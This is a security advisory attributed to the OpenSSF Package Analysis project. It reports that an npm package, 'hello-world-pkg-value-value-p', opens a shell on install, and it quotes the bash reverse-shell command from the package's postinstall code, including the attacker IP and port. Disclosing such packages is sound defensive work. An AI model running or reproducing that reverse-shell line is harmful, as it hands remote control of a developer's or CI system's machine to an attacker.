MAL-2026-3714 Malicious code in hello-world-pkg-value-value-p (npm)

This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm…') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.

The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.